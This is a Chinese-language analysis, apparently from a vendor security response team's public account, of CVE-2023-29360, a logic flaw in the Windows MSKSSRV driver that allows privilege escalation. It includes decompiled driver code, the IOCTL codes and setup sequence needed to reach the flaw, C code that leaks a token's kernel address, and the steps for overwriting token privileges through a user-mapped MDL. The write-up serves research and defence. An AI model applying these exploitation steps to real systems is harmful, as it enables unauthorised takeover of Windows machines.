1
漏洞背景
CVE-2023-29360是Pwn2Own 2023温哥华中使用的一个Windows提权漏洞,该漏洞来源于MSKSSRV驱动程序的一个逻辑问题,利用上非常稳定,而且手法简单,是一个较好的Windows入门级内核利用的漏洞。
2
前置知识
尽管漏洞比较简单,但要想写出相应的利用,还需要对Windows相关知识有较深的理解。在这里,被利用的结构为MDL(全称为Memory Descriptor List),用于描述一块虚拟内存对应的物理页布局(因为一块连续的虚拟内存在物理页面上可能并不连续,因此需要有相应的结构来进行描述,也就是MDL)。MDL由一个描述属性的头和一个指针数组构成,其中描述属性的头的结构如下(大小为0x30):
+0x000 Next : Ptr64 _MDL
+0x008 Size : Int2B
+0x00a MdlFlags : Int2B
+0x00c AllocationProcessorNumber : Uint2B
+0x00e Reserved : Uint2B
+0x010 Process : Ptr64 _EPROCESS
+0x018 MappedSystemVa : Ptr64 Void
+0x020 StartVa : Ptr64 Void
+0x028 ByteCount : Uint4B
+0x02c ByteOffset : Uint4B
需要关注的几个成员有:
-
MappedSystemVa:表示最终映射的系统地址
-
StartVA:指定的映射的虚拟地址的页基址
-
ByteOffset:指定的虚拟地址相对于所属页的偏移
-
ByteCount:指定虚拟地址的Buffer的长度
这里MappedSystemVa和StartVA都是描述的地址值。StartVA描述的是首地址,例如虚拟地址0x12345,那么其首地址为0x12000。
在描述属性的头之后,跟着的是一个指针数组,每个指针代表物理页地址。
以实际调试的情况来看:
映射的虚拟地址为0xffff800d1e0586d0,因此 StartVa = 0xffff800d1e058000,ByteOffset = 0x6b0。而映射的长度为0x1000。接下来,将紧跟用于描述物理页地址的指针数组:
这里使用了两个物理页进行映射,因为起始地址0xffff800d1e0586d0+0x1000的地方已经跨页了,因此需要两个物理页。
接下来,查看一下虚拟内核和物理页的中的数据是否相同,以证明是否进行了映射,首先是第一个物理页:
可以看到,内容完全一致。接下来是第二个物理页:
同样内容相同。
3
漏洞成因
漏洞函数位于MSKSSRV驱动程序中的FsAllocAndLockMdl函数,主要负责创建MDL结构并分配和锁定相关的物理页。
__int64 __fastcall FsAllocAndLockMdl(void *vitrualAddress, ULONG length, struct _MDL **output)
{
unsigned int v4; // edi
struct _MDL *Mdl; // rax
struct _MDL *v6; // rbx
v4 = 0;
if ( vitrualAddress && length && output )
{
Mdl = IoAllocateMdl(vitrualAddress, length, 0, 0, 0LL);
v6 = Mdl;
if ( Mdl )
{
MmProbeAndLockPages(Mdl, 0, IoWriteAccess); // <---- 漏洞代码:第二个参数为0,表示为KernelMode
*output = v6;
}
IoAllocateMdl用于创建一个MDL结构体,并设置相关的属性,包含前面提到的StartVa,ByteCount,ByteOffset。但此时并未分配相应的物理页。分配的逻辑在函数MmProbeAndLockPages中完成,这里重点关注第二个参数AccessMode,具体有两种模式,KernelMode(0)和UserMode(1),表示虚拟内存地址的位置。由于此处的vitrualAddress是用户传入的地址,因此这里应该使用UserMode,但是实际却使用了KernelMode。使用UserMode和KernelMode在后续会有什么区别吗?主要在nt!MiProbeAndLockPrepare函数中,会对此进行校验:
if ( AccessMode && (EndvirtualAddress
> 0x7FFFFFFF0000LL || virtualAddress >= EndvirtualAddress) )
{
++dword_140C4E7F8;
return 3221225477LL;
}
如果AccessMode为UserMode,则会检查其地址是否超出了其范围。因此,在使用KernelMode时,将不对用户传入的地址进行检查,从而导致用户可以创建能映射任意内核地址的MDL。后续通过MSKSSRV驱动程序的另一条控制消息可以将这个创建的MDL的物理内存直接映射到用户空间进程的内存中,并进行读写,从而完成对任意内核地址的读写。
4
漏洞利用
和MSKSSRV驱动进行通信
为了打开MSKSSRV驱动,并与之进行通信,根据网上的资料,有两种方式可以采用。第一种是使用KsOpenDefaultDevice(ksproxy.h)API,这个API主要用于打开默认的设备句柄,尤其是处理多媒体设备中。打开的方式如下:
DEFINE_GUIDSTRUCT("3C0D501A-140B-11D1-B40F-00A0C9223196",
KSNAME_Server);
DEFINE_GUIDNAMED(KSNAME_Server)
KsOpenDefaultDevice(KSNAME_Server,
GENERIC_READ | GENERIC_WRITE, &DeviceH1);
第二种方式是通过逆向已知的和MSKSSRV驱动进行通信的服务FrameServer,在FrameService.dll找到相应的调用方式:
result =
CM_Get_Device_Interface_ListW(&GUID_3c0d501a_140b_11d1_b40f_00a0c9223196,
0i64, buffer, bufferlen, 0);
if ( !result &&
*buffer){
handle = CreateFileW(buffer, 0xC0000000, 0,
0i64, 3u, 0x80u, 0i64);
本质上KsOpenDefaultDevice内部也是调用了CreateFileW来获取句柄:
其设备路径如下所示:
前置准备
MSKSSRV驱动的消息处理入口是函数SrvDispatchIoControl,根据不同的IoControlCode进入不同的分支:
__int64 __fastcall
deviceObj, IRP *irp)
{
ioctlcode =
irp->Tail.Overlay.CurrentStackLocation->Parameters.DeviceIoControl.IoControlCode;
switch(ioctlcode){
case 0x2F0408:
RendezvousServerObj = NULL
KeWaitForSingleObject(&Mutex,
0, 0, 0i64);
result = FSGetRendezvousServer(&RendezvousServerObj);
if ( result >= 0 )
{
result =
FSRendezvousServer::PublishTx(RendezvousServerObj, irp); // PublishTx
FSRendezvousServer::Release(RendezvousServerObj);
}
...
case 0x2F0410:
RendezvousServerObj = NULL
KeWaitForSingleObject(&Mutex,
0, 0, 0i64);
result =
FSGetRendezvousServer(&RendezvousServerObj);
if ( result >= 0 )
{
result =
FSRendezvousServer::ConsumeTx(RendezvousServerObj, irp); // ConsumeTx
FSRendezvousServer::Release(RendezvousServerObj);
}
...
这里调用了漏洞函数FsAllocAndLockMdl的是FSRendezvousServer::PublishTx,因此需要先进入该分支以创建一个恶意的MDL。但是要顺利调用到漏洞函数,需要做一些前置操作。
首先,在函数FSGetRendezvousServer中,访问了全局变量,要求其已经初始化:
__int64 __fastcall
FSGetRendezvousServer(struct FSRendezvousServer **a1)
{
volatile signed __int32 *v1; // rax
unsigned int v2; // ebx
v1 = (volatile signed __int32
*)qword_1C0004010;
v2 = 0;
if ( qword_1C0004010 )
{
*a1 = qword_1C0004010;
_InterlockedIncrement(v1);
}
else
{
v2 = -1073741808;
}
查看其交叉引用,可知其在函数FSInitializeContextRendezvous中被初始化,对应的IoControlCode为0x2f0400。
第二个限制来自于函数查找对象FsContext2:
Object =
FSRendezvousServer::FindObject(this, (const struct FSRegObject *)FsContext2);
KeReleaseMutex((PRKMUTEX)((char *)this + 8),
0);
if ( Object )
{
(*(void (__fastcall **)(PVOID))(*(_QWORD
*)FsContext2 + 40LL))(FsContext2);
v5 = FSStreamReg::PublishTx((struct _KEVENT
**)FsContext2, (struct FSFrameInfo *)MasterIrp);
只有当查找成功时,才会进入FSStreamReg::PublishTx。同时,在函数FSStreamReg::PublishTx中还有一个检查FSStreamReg::CheckRecycle,这里就需要调用FSRendezvousServer::InitializeStream来执行相应的的初始化和插入逻辑:
v8 = operator new(0x1B8uLL, (enum
_POOL_TYPE)a2, 0x67657253u);
v5 = v8;
....
v10 = FSStreamReg::Initialize((FSStreamReg
*)v5, v9, (const struct _FSStreamRegInfo *)MasterIrp, a2->RequestorMode);
....
FSRegObjectList::InsertTail((FSRendezvousServer
*)((char *)this + 64), (struct FSRegObject *)v5);
CurrentStackLocation->FileObject->FsContext2 = v5;
在FSStreamReg::Initialize,执行相应的初始化:
*((_DWORD *)this + 106) = *((_DWORD *)a3
+ 8) << 10; // 绕过相应的检查
*((_DWORD *)this + 108) = *((_DWORD *)a3
+ 7);
*((_DWORD *)this + 34) = 1;
*((_QWORD *)this + 18) = *((_QWORD *)a3 +
1);
*((_QWORD *)this + 19) = *((_QWORD *)a3 +
2);
*((_DWORD *)this + 40) = *((_DWORD *)a3 +
6);
*((_DWORD *)this + 41) = *((_DWORD *)a3 +
7);
*((_QWORD *)this + 22) = 0LL;
*((_DWORD *)this + 10) = 1;
但需要注意,对于同一个handle,无法同时执行FSInitializeContextRendezvous和FSRendezvousServer::InitializeStream,原因是在FSInitializeContextRendezvous中同样会对CurrentStackLocation->FileObject->FsContext2进行赋值(在函数FSRendezvousServer::InitializeContext中):
FSRegObjectList::InsertTail((FSRendezvousServer *)((char *)this + 112),
(struct FSRegObject *)v3);
CurrentStackLocation->FileObject->FsContext2 = (PVOID)v3;
从而导致FSRendezvousServer::InitializeStream中的检查失败:
CurrentStackLocation =
a2->Tail.Overlay.CurrentStackLocation;
v5 = 0LL;
v6 = 0;
if ( CurrentStackLocation->Parameters.Read.ByteOffset.LowPart
!= 3081220
||
)
{
v10 = 0xC0000010;
}
泄露Token地址
在Windows中有一个未公开的接口NtQuerySystemInformation可以直接用来泄露Token的内核地址,这似乎是一项比较常用且久远的技术了,因此相关的泄露代码也非常的通用:
uint64_t
GetTokenAddress()
{
NTSTATUS status;
HANDLE currentProcess =
GetCurrentProcess();
HANDLE currentToken = NULL;
uint64_t tokenAddress = 0;
ULONG ulBytes = 0;
PSYSTEM_HANDLE_INFORMATION handleTableInfo
= NULL;
BOOL success =
OpenProcessToken(currentProcess, TOKEN_QUERY, ¤tToken);
if (!success)
{
wprintf(L"[!] Couldn't open a
handle to the current process token. (Error code: %d)n", GetLastError());
return 0;
}
// Allocate space in the heap for the
handle table information which will be filled by the call to
'NtQuerySystemInformation' API
while ((status =
NtQuerySystemInformation(SystemHandleInformation, handleTableInfo, ulBytes,
&ulBytes)) == STATUS_INFO_LENGTH_MISMATCH)
{
if (handleTableInfo != NULL)
{
handleTableInfo =
(PSYSTEM_HANDLE_INFORMATION)HeapReAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY,
handleTableInfo, 2 * ulBytes);
}
else
{
handleTableInfo =
(PSYSTEM_HANDLE_INFORMATION)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 2 *
ulBytes);
}
}
if (status == 0)
{
// iterate over the system's handle
table and look for the handles beloging to our process
for (ULONG i = 0; i <
handleTableInfo->NumberOfHandles; i++)
{
// if it finds our process and the
handle matches the current token handle we already opened, print it
if
(handleTableInfo->Handles[i].UniqueProcessId == GetCurrentProcessId()
&& handleTableInfo->Handles[i].HandleValue == (USHORT)currentToken)
{
tokenAddress = (uint64_t)handleTableInfo->Handles[i].Object;
break;
}
}
}
else
{
if (handleTableInfo != NULL)
{
wprintf(L"[!]
NtQuerySystemInformation failed. (NTSTATUS code: 0x%X)n", status);
HeapFree(GetProcessHeap(), 0,
handleTableInfo);
CloseHandle(currentToken);
return 0;
}
}
HeapFree(GetProcessHeap(), 0,
handleTableInfo);
CloseHandle(currentToken);
return tokenAddress;
}
对于泄露出来的进程的Token地址,我们的目标是修改其偏移为0x40(_SEP_TOKEN_PRIVILEGES)处的内容。这是一个由3个8字节的位图组成的结构:
kd> dt
_SEP_TOKEN_PRIVILEGES
nt!_SEP_TOKEN_PRIVILEGES
+0x000 Present : Uint8B
+0x008 Enabled : Uint8B
+0x010 EnabledByDefault
: Uint8B
分别代表当前的主体可以选用的特权集合(Present)、已经打开的特权集合(Enabled)和默认打开的特权集合(EnabledByDefault),后两个集合应该是Present集合的子集。Windows运行过程中,实际上是检查了`Enabled`这个位置的特权。换句话说,如果这个位置的特权都打开了,那么当前进程将会获得所有类型的特权。
构造虚拟地址为Token Privileges的MDL
通过调用FSRendezvousServer::PublishTx,构造针对Token Privileges的MDL。
调用IoAllocateMdl时,使用Token Privileges的地址作为参数,可以看到此时权限较少。
MDL创建完毕后,可以看到其映射的虚拟地址为Token Privileges:
映射MDL到用户空间以执行任意写操作
MSKSSRV驱动程序还提供了一个操作接口用于将MDL结构映射到用户态进程地址空间,此时相当于一处物理页被同时映射到两个虚拟内存中。实现这个操作的函数是FSRendezvousServer::ConsumeTx,其IoControlCode为0x2F0410。该函数内部调用了MmMapLockedPagesSpecifyCache(https://learn.microsoft.com/zh-cn/windows-hardware/drivers/ddi/wdm/nf-wdm-mmmaplockedpagesspecifycache),将 MDL 描述的物理页面映射到虚拟地址:
PVOID
MmMapLockedPagesSpecifyCache(
[in] PMDL MemoryDescriptorList,
[in] __drv_strictType(KPROCESSOR_MODE / enum
_MODE,__drv_typeConst)KPROCESSOR_MODE AccessMode,
[in] __drv_strictTypeMatch(__drv_typeCond)MEMORY_CACHING_TYPE CacheType,
[in, optional] PVOID RequestedAddress,
[in] ULONG BugCheckOnFailure,
[in] ULONG Priority
);
其中当指定AccessMode为UserMode(1)时,将返回一个用户态的虚拟地址,而正好,MSKSSRV驱动程序中调用时使用的参数就是UserMode,同时会将该地址返回给用户:
__int64 __fastcall
FsMapLockedPages(struct _MDL *a1, ULONG Priority, PVOID *a3)
{
unsigned int v3; // ebx
v3 = 0;
if ( a1 && a3 )
{
*a3 = 0LL;
*a3 = MmMapLockedPagesSpecifyCache(a1, 1,
MmCached, 0LL, 0, Priority);
}
不过,在调用该函数前,需要先调用FSRendezvousServer::RegisterStream。
这里在调用完MmMapLockedPagesSpecifyCache函数后,返回了用户态的地址1c06f0,接下来就可以在这个地址上进行任意写,从而实现对Token Privileges的修改。
修改后将所有权限对应的bit置为1,此时再查看权限,可以发现已经获取了所有的权限:
5
总结
CVE-2023-29360是MSKSSRV驱动程序中的一个逻辑漏洞,能够稳定的实现对任意地址的写操作。当然,为了实现提权,还要结合一个能泄露内核地址的能力。在利用上,其原理非常简单清晰,但难点在于如何调用到相应的漏洞函数,包括多个前置函数的调用以及相应的参数设置。目前该漏洞厂商已经发布安全公告并修复:https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-29360
6
参考链接
https://github.com/Nero22k/cve-2023-29360
原文始发于微信公众号(华为安全应急响应中心):Windwos CVE-2023-29360漏洞的研究与分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论